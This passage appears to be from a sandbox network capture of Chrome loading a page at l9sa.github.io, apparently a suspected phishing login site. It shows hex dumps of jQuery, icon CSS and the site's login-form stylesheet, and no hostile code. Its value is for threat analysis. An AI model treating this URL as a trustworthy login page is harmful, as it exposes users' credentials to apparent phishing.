2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 39 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 30 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 31 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 32 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 30 Data Ascii: :66.666667%}.col-sm-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-sm-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-ms-flex:0 0 100%;flex:0 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	104.17.25.14	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:17 UTC	554	OUT	GET /ajax/libs/jquery/3.5.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://l9sa.github.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:17 UTC	964	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:17 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb09ed3-15d84" Last-Modified: Mon, 04 May 2020 23:01:39 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 80204 Expires: Tue, 19 Aug 2025 22:19:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=frnSl6D%2FS8RZDzS%2FV6zI9XMp5SLn%2BaxkxAjw9W6ka%2BHMmuljNH2hfue7wPjS3zUtAyq9XmbrfGLTIyrBVWrikP4Xw%2FhPz%2FUXp4bwPOTqZEDJW7OIETTCYfzr8DhaI0xMQEhkhuln"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8bafebf9bf774258-EWR alt-svc: h3=":443"; ma=86400
2024-08-29 22:19:17 UTC	405	IN	Data Raw: 33 39 37 38 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 3978/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 6f 74 6f 74 79 70 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 66 6c 61 74 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 66 6c 61 74 2e 63 61 6c 6c 28 65 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 29 7d 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f Data Ascii: ototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeo
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 2e 65 71 28 2d 31 29 7d 2c 65 76 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 74 2b 31 29 25 32 7d 29 29 7d 2c 6f 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 25 32 7d 29 29 7d 2c 65 71 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b Data Ascii: .eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 75 72 6e 20 65 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 70 28 4f 62 6a 65 63 74 28 65 29 29 3f 53 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 75 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 Data Ascii: urn e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c 5d 22 2c 46 3d 22 3a 28 22 2b 49 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 57 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 24 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 Data Ascii: \\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+I+"))\|)"+M+"\\]",F=":("+I+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+W+"))\|.)\$\|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g")
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 6f 6e 28 29 7b 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 48 2e 61 70 70 6c 79 28 74 3d 4f 2e 63 61 6c 6c 28 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 74 5b 70 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 Data Ascii: on(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 Data Ascii: ){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 72 6e 20 72 21 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 70 21 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e 74 6f 70 21 3d 3d 6e 26 26 28 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 6c 6f 61 64 22 2c 6f 65 2c 21 31 29 3a 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 73 63 6f 70 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 65 6e 64 43 68 69 6c Data Ascii: rn r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChil
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 65 28 22 69 64 22 29 29 26 26 6e 2e 76 61 6c 75 65 3d 3d 3d 65 29 72 65 74 75 72 6e 5b 6f 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d Data Ascii: e("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagNam
2024-08-29 22:19:17 UTC	1369	IN	Data Raw: 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4d 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 64 69 73 61 62 6c 65 64 3d 21 30 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 Data Ascii: type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"[^$\|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll("

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49738	185.199.108.153	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:17 UTC	552	OUT	GET /assets/css/styles.min.css HTTP/1.1 Host: l9sa.github.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://l9sa.github.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:17 UTC	729	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2344 Server: GitHub.com Content-Type: text/css; charset=utf-8 permissions-policy: interest-cohort=() Last-Modified: Tue, 07 Nov 2023 13:01:40 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "654a3534-928" expires: Thu, 29 Aug 2024 22:29:17 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F56B:16DD:44D767:4E8CE7:66D0F3E5 Accept-Ranges: bytes Date: Thu, 29 Aug 2024 22:19:17 GMT Via: 1.1 varnish Age: 0 X-Served-By: cache-ewr-kewr1740060-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1724969957.392863,VS0,VE17 Vary: Accept-Encoding X-Fastly-Request-ID: 4597c08281c0bcb24d31a0608527385bbb7c961d
2024-08-29 22:19:17 UTC	1378	IN	Data Raw: 23 6c 6f 67 69 6e 46 6f 72 6d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 32 33 70 78 20 2d 35 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 34 36 29 3b 68 65 69 67 68 74 3a 33 37 30 70 78 3b 77 69 64 74 68 3a 34 34 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 35 30 25 3b 74 6f 70 3a 34 39 25 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 7d 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 2e 2e 2f 2e 2e 2f 61 73 73 65 74 73 2f 69 6d 67 2f 62 61 63 6b 67 72 6f 75 6e 64 2e 70 6e 67 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 Data Ascii: #loginForm{background-color:#fff;box-shadow:0 2px 23px -5px rgba(0,0,0,.46);height:370px;width:440px;position:absolute;left:50%;top:49%;transform:translate(-50%,-50%);padding:10px}body{background-image:url(../../assets/img/background.png);background-repea
2024-08-29 22:19:17 UTC	966	IN	Data Raw: 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 36 70 78 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 2e 30 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 37 29 7d 23 65 6e 74 65 72 50 77 64 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 36 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 37 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 7d 23 62 74 6e 42 61 63 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 29 3b 70 61 64 64 69 6e 67 3a 35 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 64 69 73 70 6c 61 79 3a 69 6e Data Ascii: ;margin-left:36px;border:none;border-bottom:.01px solid rgba(0,0,0,.7)}#enterPwd{margin-left:36px;margin-top:7px;font-size:24px;font-weight:500}#btnBack{background-color:#fff;color:rgba(0,0,0,.3);padding:5px;text-align:left;text-decoration:none;display:in

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49742	207.211.211.27	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:17 UTC	576	OUT	GET /fonts/line-awesome/1.1/css/line-awesome.min.css HTTP/1.1 Host: maxcdn.icons8.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://l9sa.github.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:17 UTC	946	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:17 GMT Content-Type: text/css; charset=utf-8 Content-Length: 28101 Connection: close x-amz-id-2: xU5kr54ZaYK+NKwXtQBOyxYIXAxhL0iJE2ujSx3OwFhrdZGkZjbQgzHc5q2knfptl5G1nUywNt0= x-amz-request-id: SNB9VNKB00H1VN11 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Expose-Headers: Content-Range, Content-Length, ETag Access-Control-Max-Age: 3000 Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method Last-Modified: Mon, 06 Jun 2022 09:58:54 GMT ETag: "4334c8c70998d81bde3e6765828811a6" x-amz-meta-mtime: 1654507817.389231056 X-77-NZT: EggBz9PTGQFBDAHUZjgRAbeY7Q0A X-77-NZT-Ray: 43862e24e3d65cd5e5f3d0663545012a X-Accel-Expires: @1725093965 X-Accel-Date: 1724057165 X-Accel-Date-Max: 1714725957 X-77-Cache: HIT X-77-Age: 912792 Vary: Accept-Encoding Server: CDN77-Turbo X-Cache: MISS X-77-POP: frankfurtDE Accept-Ranges: bytes
2024-08-29 22:19:17 UTC	15438	IN	Data Raw: 2f 2a 21 0a 20 2a 20 20 4c 69 6e 65 20 41 77 65 73 6f 6d 65 20 31 2e 31 2e 30 20 62 79 20 40 69 63 6f 6e 73 5f 38 20 2d 20 68 74 74 70 73 3a 2f 2f 69 63 6f 6e 73 38 2e 63 6f 6d 2f 6c 69 6e 65 2d 61 77 65 73 6f 6d 65 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 69 63 6f 6e 73 38 2e 63 6f 6d 2f 67 6f 6f 64 2d 62 6f 79 2d 6c 69 63 65 6e 73 65 2f 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 0a 20 2a 20 4d 61 64 65 20 77 69 74 68 20 6c 6f 76 65 20 62 79 20 49 63 6f 6e 73 38 20 5b 20 68 74 74 70 73 3a 2f 2f 69 63 6f 6e 73 38 2e 63 6f 6d 2f 20 5d 20 75 73 69 6e 67 20 46 6f 6e 74 43 75 73 74 6f 6d 20 5b 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f Data Ascii: /! Line Awesome 1.1.0 by @icons_8 - https://icons8.com/line-awesome * License - https://icons8.com/good-boy-license/ (Font: SIL OFL 1.1, CSS: MIT License) * * Made with love by Icons8 [ https://icons8.com/ ] using FontCustom [ https://github.com/
2024-08-29 22:19:17 UTC	12663	IN	Data Raw: 2d 68 6f 74 65 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 33 39 22 7d 2e 6c 61 2d 68 6f 75 72 67 6c 61 73 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 33 61 22 7d 2e 6c 61 2d 68 6f 75 72 67 6c 61 73 73 2d 31 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 33 62 22 7d 2e 6c 61 2d 68 6f 75 72 67 6c 61 73 73 2d 32 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 33 63 22 7d 2e 6c 61 2d 68 6f 75 72 67 6c 61 73 73 2d 33 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 33 64 22 7d 2e 6c 61 2d 68 6f 75 72 67 6c 61 73 73 2d 65 6e 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 33 65 22 7d 2e 6c 61 2d 68 6f 75 72 67 6c 61 73 73 2d 68 61 6c 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 Data Ascii: -hotel:before{content:"\f239"}.la-hourglass:before{content:"\f23a"}.la-hourglass-1:before{content:"\f23b"}.la-hourglass-2:before{content:"\f23c"}.la-hourglass-3:before{content:"\f23d"}.la-hourglass-end:before{content:"\f23e"}.la-hourglass-half:before{cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	185.199.108.153	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
